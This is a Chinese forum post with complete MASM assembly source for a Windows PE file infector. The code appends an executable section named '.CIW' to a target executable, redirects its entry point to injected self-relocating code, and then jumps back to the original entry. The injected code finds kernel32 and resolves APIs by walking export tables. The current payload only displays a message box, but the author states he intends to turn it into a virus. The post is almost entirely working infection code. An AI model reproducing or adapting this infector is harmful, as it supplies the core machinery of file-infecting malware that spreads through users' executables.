签到

05月12日
尚未签到

共有回帖数 0

    白衫故友

    等级:
    这个程序可以增加一段可以执行代码的C盘的1.exe的PE文件中(利用了增加一个新节).嘿嘿,过2天再把它写成一个病毒......

    代码如下:

    ;Infect.asm 文件
    .386
    .model flat, stdcall
    option casemap:none
    include windows.inc
    include kernel32.inc
    include user32.inc
    includelib kernel32.lib
    includelib user32.lib
    ;************************************************************************
    .data
    szSectionName db '.CIW',0
    szSrcFileName db 'c:1.exe',0 ;要感染的文件名
    szMsgText db '该文件已经感染过.',0
    szMsgCaption db '提示',0
    ;************************************************************************
    .data?
    hFile  dd ?
    lpMemory dd ?
    ;************************************************************************
    .code
    include AddCode.asm
    ;
    ;关于_dwAlign 对齐
    ;
    _Align proc _dwSize, _dwAlign
    push edx
    mov eax, _dwSize
    xor edx, edx
    div _dwAlign ;除于 _dwAlign, eax -商, edx -余数
    .if edx  ;如果有余数
     inc eax ;商 + 1  
    .endif
    mul _dwAlign ;乘于 _dwAlign - 对齐
    pop edx
    ret
    _Align endp
    ;

    ;
    ;感染 Pe 文件
    ;
    _Infect proc _lpHead, _lpPEHead
    LOCAL @lpMemory, @dwAddCodeBase, @dwAddCodeFile, @dwOldEntry, @dwTemp, @dwSecNum
    LOCAL @szSecName[10] :byte
    mov esi, _lpPEHead   ;旧的PE头
    assume esi: ptr IMAGE_NT_HEADERS
    ;***************************** 是不是PE文件 ********************************
    mov edi, _lpHead
    assume edi: ptr IMAGE_DOS_HEADER
    .if [edi].e_magic != IMAGE_DOS_SIGNATURE
     jmp _Ret
    .endif
    .if [esi].Signature !=  IMAGE_NT_SIGNATURE
     jmp _Ret
    .endif
    ;***************************** 是否感染了 ***********************************
     mov edi, esi
     movzx ecx, [esi].FileHeader.NumberOfSections
     mov @dwSecNum, ecx
     add edi, IMAGE_NT_HEADERS
     assume edi: ptr IMAGE_SECTION_HEADER  
     .while ecx
       
      invoke RtlMoveMemory, addr @szSecName, addr [edi].Name1, 8
       
      invoke lstrcmp, addr @szSecName, offset szSectionName
      .if !eax
       invoke MessageBox, NULL, offset szMsgText,
       offset szMsgCaption, MB_OK or MB_ICONERROR  
       jmp _Ret
      .endif
      add edi, IMAGE_SECTION_HEADER  
      dec @dwSecNum
      mov ecx, @dwSecNum
     .endw
    ;****************************************************************************

    invoke GlobalAlloc, GPTR , [esi].OptionalHeader.SizeOfHeaders ;开辟新的空间
    mov @lpMemory, eax
    invoke RtlMoveMemory, eax, _lpHead,[esi].OptionalHeader.SizeOfHeaders ;复制旧头到新头

    movzx ecx, [esi].FileHeader.NumberOfSections
    dec ecx
    mov eax, sizeof IMAGE_SECTION_HEADER
    mul ecx ;eax - 最后一个节表头

    mov edi, @lpMemory ;新DOS头
    assume edi: ptr IMAGE_DOS_HEADER
    add edi, [edi].e_lfanew ;新PE头
    assume edi: ptr IMAGE_NT_HEADERS

    mov ebx, edi
    add ebx, IMAGE_NT_HEADERS ;新的第一个节表头

    mov edx, ebx
    add edx, eax ;edx 最后一个节表头

    mov ebx, edx
    add ebx, sizeof IMAGE_SECTION_HEADER ;ebx 最后一个节表尾

    assume edx: ptr IMAGE_SECTION_HEADER
    assume ebx: ptr IMAGE_SECTION_HEADER

    pushad  
    xor eax, eax
    mov edi, ebx
    mov ecx, sizeof IMAGE_SECTION_HEADER
    repz scasb
    popad

    .if ZERO? ;有空间插入新的节表
     
    inc [edi].FileHeader.NumberOfSections
    mov eax, [edx].PointerToRawData
    add eax, [edx].SizeOfRawData ;最后一个节表单位RAW
    mov [ebx].PointerToRawData, eax
     
    mov ecx, offset APPEND_CODE_END - offset APPEND_CODE ;插入代码的大小
    invoke _Align, ecx, [esi].OptionalHeader.FileAlignment ;代码关于文件对齐
    mov [ebx].SizeOfRawData, eax
     
    invoke _Align, ecx, [esi].OptionalHeader.SectionAlignment ;代码关于节对齐
    add [edi].OptionalHeader.SizeOfCode, eax ;增加原来代码的大小
    add [edi].OptionalHeader.SizeOfImage, eax
     
    invoke _Align, [edx].Misc.VirtualSize, [esi].OptionalHeader.SectionAlignment
    add eax, [edx].VirtualAddress ;计算新节表的虚拟地址
     
    mov [ebx].VirtualAddress, eax
    mov [ebx].Misc.VirtualSize, offset APPEND_CODE_END - offset APPEND_CODE  
     
    ;设置 Characteristics (可读,可写等)
    mov [ebx].Characteristics, IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE
    or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
     
    invoke lstrcpy, addr [ebx].Name1, offset szSectionName ;设置节表名
     
    ;*************************** 将代码写到文件的最后 **************************
    invoke SetFilePointer, hFile, [ebx].PointerToRawData, NULL, FILE_BEGIN
    invoke WriteFile, hFile, offset APPEND_CODE, [ebx].Misc.VirtualSize,  
    addr @dwTemp, NULL  
    mov eax, [ebx].PointerToRawData
    add eax, [ebx].SizeOfRawData
    invoke SetFilePointer, hFile, eax, NULL, FILE_BEGIN
    invoke SetEndOfFile, hFile
    ;***************************************************************************
     
    ;************************** 获取 RVA 和 RAW *********************************
    push [ebx].VirtualAddress
    pop @dwAddCodeBase
    push [ebx].PointerToRawData
    pop @dwAddCodeFile
    ;**************************************************************************
     
    ;************************ 修正旧的程序入口点 *******************************
    push [esi].OptionalHeader.AddressOfEntryPoint
    pop @dwOldEntry
     
    mov eax, @dwAddCodeBase
    add eax, offset _ToOldEntry - offset APPEND_CODE + 5
    sub @dwOldEntry, eax
    mov ecx, @dwAddCodeFile
    add ecx, offset _dwOldEntry - offset APPEND_CODE
    invoke SetFilePointer, hFile, ecx, NULL, FILE_BEGIN
    invoke WriteFile, hFile, addr @dwOldEntry, 4, addr @dwTemp, 0
    ;***************************************************************************
     
    ;************************* 设置新的人口点 ***********************************
    mov eax, @dwAddCodeBase
    add eax, offset _NewEntry - offset APPEND_CODE  
    mov [edi].OptionalHeader.AddressOfEntryPoint, eax ;设置程序新的入口点
     
    invoke SetFilePointer, hFile, 0,0, FILE_BEGIN
    invoke WriteFile, hFile, @lpMemory, [esi].OptionalHeader.SizeOfHeaders,
    addr @dwTemp, 0  
    ;****************************************************************************
     
    ;************************ 关闭工作 *****************************************
    invoke GlobalFree, @lpMemory
    ;***************************************************************************
    .endif

    _Ret:
    ret
    _Infect endp
    start:
    invoke CreateFile, offset szSrcFileName, GENERIC_READ or GENERIC_WRITE,
    FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING ,NULL , NULL

    mov hFile, eax
    invoke CreateFileMapping, hFile, NULL, PAGE_READWRITE , 0, 0, NULL
     
    invoke MapViewOfFile, eax, FILE_MAP_WRITE or FILE_MAP_READ, 0, 0, 0
     
    .if !eax
    jmp _Exit
    .endif
     
    mov lpMemory, eax
    mov esi, eax
     
    assume esi: ptr IMAGE_DOS_HEADER
    add esi, [esi].e_lfanew
     
    invoke _Infect, lpMemory, esi
     
    invoke CloseHandle, hFile  

    _Exit:  
    invoke ExitProcess, 0
    end start


    ;GetKernel1.asm 文件

    _GetKernelBase proc _dwKernelRet
    LOCAL _dwRet
    pushad
    ;**********************代码重定位***************
    call @F
    @@:  
    pop ebx
    sub ebx, offset @B
    ;************************************************

    mov edi, _dwKernelRet
    and edi, 0ffff0000h

    .while TRUE
    .if word ptr [edi] == IMAGE_DOS_SIGNATURE
     
    mov eax, edi
    add eax, [eax + 003ch]
     
    .if word ptr [eax] == IMAGE_NT_SIGNATURE  
    mov _dwRet, edi
    .break
    .endif  
    .endif  
     
    sub edi, 010000h
    .break .if edi  070000000h
    .endw

    popad

    mov eax, _dwRet

    ret
    _GetKernelBase endp
    _GetAPIByName proc _dwKernelBase, _lpszAPI
    LOCAL @dwRet, @dwAPILength
    pushad

    ;************************** 获取API长度 ***************************
    mov edi, _lpszAPI
    mov ecx, -1 ;构建一个无限ecx循环
    xor al, al
    cld
    repnz scasb

    sub edi, _lpszAPI ;用edi减去 _lpszAPI原始地址 = 长度
    mov @dwAPILength, edi

    ;************************** 获取导出库 ***************************
    mov esi, _dwKernelBase
    assume esi: ptr IMAGE_DOS_HEADER ;esi - DOS头

    add esi, [esi].e_lfanew

    assume esi: ptr IMAGE_NT_HEADERS ;esi - NT头

    mov esi, [esi].OptionalHeader.DataDirectory.VirtualAddress ;esi - 导出库  

    add esi, _dwKernelBase

    assume esi: ptr IMAGE_EXPORT_DIRECTORY

    ;************************** 查找API *********************************
    mov ebx, [esi].AddressOfNames
    add ebx, _dwKernelBase ;ebx - AddressOfNames
    xor edx, edx ;edx - 函数的Index


    .repeat ;循环查找API
    push esi
    mov esi, _lpszAPI ;esi - _lpszAPI
     
    mov edi, [ebx]
    add edi, _dwKernelBase ;edi - 导出函数名的地址
     
    mov ecx, @dwAPILength ;ecx - 要获取的API的长度
     
    repz cmpsb ;循环比较
     
    .if ZERO? ;找到这个API
    pop esi
    .break
    .endif
    pop esi
    add ebx, 4
    inc edx
     
    .until edx = [esi].NumberOfNames

    sub ebx, [esi].AddressOfNames
    sub ebx, _dwKernelBase
    shr ebx, 1
    add ebx, [esi].AddressOfNameOrdinals
    add ebx, _dwKernelBase
    movzx eax, word ptr [ebx]
    shl eax, 2
    add eax, [esi].AddressOfFunctions
    add eax, _dwKernelBase

    mov eax, [eax]
    add eax, _dwKernelBase
    mov @dwRet, eax

    popad

    mov eax, @dwRet

    ret
    _GetAPIByName endp

    ;AddCode.asm 文件

    ;
    ; 一些函数的原形定义
    ;
    _ProtoGetProcAddress typedef proto :dword,:dword
    _ProtoLoadLibrary typedef proto :dword
    _ProtoMessageBox typedef proto :dword,:dword,:dword,:dword
    _ApiGetProcAddress typedef ptr _ProtoGetProcAddress
    _ApiLoadLibrary typedef ptr _ProtoLoadLibrary
    _ApiMessageBox typedef ptr _ProtoMessageBox
    ;
    ;
    ;
    APPEND_CODE equ this byte
    ;
    ; 被添加到目标文件中的代码从这里开始
    ;
    include GetKernel1.asm
    ;
    hDllKernel32 dd ?
    hDllUser32 dd ?
    _GetProcAddress _ApiGetProcAddress ?
    _LoadLibrary _ApiLoadLibrary ?
    _MessageBox _ApiMessageBox ?
    szLoadLibrary db 'LoadLibraryA',0
    szGetProcAddress db 'GetProcAddress',0
    szUser32 db 'user32',0
    szMessageBox db 'MessageBoxA',0
    szCaption db '提示',0
    szText db '增加代码成功.',0
    ;********************************************************************
    ; 新的入口地址
    ;********************************************************************
    _NewEntry:
    ;********************************************************************
    ; 重定位并获取一些 API 的入口地址
    ;********************************************************************
    call @F
    @@:
    pop ebx
    sub ebx,offset @B
    ;********************************************************************
    invoke _GetKernelBase,[esp] ;获取Kernel32.dll基址
    .if ! eax
    jmp _ToOldEntry
    .endif
     
    mov [ebx + hDllKernel32], eax  
     
    lea eax, [ebx + szGetProcAddress]
    invoke _GetAPIByName, [ebx + hDllKernel32],eax  
     
    .if ! eax
    jmp _ToOldEntry
    .endif
    mov [ebx + _GetProcAddress], eax
     
    lea eax, [ebx + szLoadLibrary]
    invoke [ebx + _GetProcAddress], [ebx + hDllKernel32], eax
     
    .if ! eax
    jmp _ToOldEntry
    .endif
    mov [ebx + _LoadLibrary], eax
     
    lea eax, [ebx + szUser32]
    invoke [ebx + _LoadLibrary], eax
    mov [ebx + hDllUser32], eax
     
    lea eax, [ebx + szMessageBox]
    invoke [ebx + _GetProcAddress], [ebx + hDllUser32], eax
    mov [ebx + _MessageBox], eax
     
    mov eax, MB_OK
    push eax
    lea eax, [ebx + szCaption]
    push eax
    lea eax, [ebx + szText]
    push eax
    push NULL
    call [ebx + _MessageBox]
     
    ;********************************************************************
    ; 执行原来的文件
    ;********************************************************************
    _ToOldEntry:
    db 0e9h ;0e9h是jmp xxxxxxxx的机器码
    _dwOldEntry:
    dd ? ;用来填入原来的入口地址
    ;
    APPEND_CODE_END equ this byte

    楼主 2016-01-23 10:47 回复

共有回帖数 0
  • 回 帖
  • 表情 图片 视频
  • 发表

登录直线网账号

Copyright © 2010~2015 直线网 版权所有,All Rights Reserved.沪ICP备10039589号 意见反馈 | 关于直线 | 版权声明 | 会员须知